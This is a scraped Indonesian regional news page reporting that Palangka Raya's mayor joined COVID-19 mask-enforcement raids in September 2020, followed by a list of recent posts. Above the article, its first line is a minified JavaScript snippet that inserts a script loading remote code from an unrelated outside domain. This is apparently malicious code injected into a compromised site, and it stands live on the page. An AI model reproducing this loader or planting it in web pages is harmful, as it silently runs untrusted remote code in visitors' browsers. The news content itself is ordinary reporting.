(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Palangkaraya

Wali Kota Palangka Raya Jadi Petugas Yustisi Protokol Kesehatan


KANALKALIMANTAN.COM, PALANGKA RAYA – Sudah tiga hari, sejak Perwali nomor 26 tahun 2020 penerapan disiplin dan penegakkan protokol kesehatan Covid-19 di kota Palangka Raya diberlakukan.

Efektif terhitung 14 September lalu, Satgas gabungan gencar menegakkan Perwali dengan melakukan razia masker di beberapa titik yang berbeda.

Bahkan Wali Kota Palangka Raya Fairid Naparin, sempat ikut menjadi petugas yustisi saat melakukan pengecekan razia masker di kawasan Tugu Soekarno Palangka Raya, Rabu (16/9/2020) malam.

Dari 70 orang yang terjaring tidak memakai masker, beberapa orang diantaranya merupakan masyarakat yang baru saja tiba dari Banjarmasin, Kalimantan Selatan dan Surabaya, Jawa Timur.

Sanksi tegas pun diberikan kepada masyarakat yang masih abai menerapkan protokol kesehatan baik dengan kerja sosial ataupun denda administrasi Rp 100 ribu.

Wali Kota Palangka Raya Fairid Naparin saat mendata masyarakat yang terjaring tanpa masker. Foto: humas pemko palangka raya.

Tetapi lebih banyak yang memilih sanksi sosial dengan menyapu jalan di kawasan penindakan, dibanding membayar uang denda.

Dalam kesempatan itu, Fairid mengingatkan masyarakat agar jika beraktivitas di luar rumah, untuk selalu mengenakan masker.

“Ayo saudara-saudaraku sayangi diri sendiri, sayangi keluarga kita. Selalu pakai masker,” ujarnya.

Sementara itu Ketua Satgas Penanganan Covid-19 Palangka Raya, Emi Abriyani mengakui memang sejak diterapkan Perwali tersebut, terjadi penurunan jumlah masyarakat yang terjaring tanpa masker.

Namun, pihaknya akan terus melakukan razia setiap hari agar masyarakat benar-benar disiplin menerapkan protokol kesehatan.

“Kita akan terus razia keliling dan dadakan. Satu hari sekitar 5 titik baik siang maupun malam untuk melakukan patroli penindakan,” tegasnya. (kanalkalimantan.com/tri)

Reporter : tri
Editor : bie

Al Ghifari

Recent Posts

Lolos Verifikasi Jalur Calon Perseorangan Lalu Mundur Diri, Siap-siap Kena Sanksi

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More

10 jam ago

Hadapi Satu Wasaka Award, Bappedalitbang Banjar Kumpulkan SKPD Terkait

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More

11 jam ago

Bupati Banjar Serahkan Bonus untuk Kafilah Kabupaten Banjar, Segini Rinciannya

KANALKALIMANTAN.COM, MARTAPURA -  Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More

11 jam ago

Proyek Trotoar Jalan Kemuning Langsung Drainase, Begini Respon Warga yang Pagarnya Kena Bongkar

KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More

12 jam ago

35 Peserta Ikuti Bimtek Pengawasan Jalan dan Jembatan Dinas PUPR Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More

13 jam ago

H Muhidin Siap Lamar Semua Parpol, Incar Cagub Kalsel Gandeng Hasnur

KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More

13 jam ago

This website uses cookies.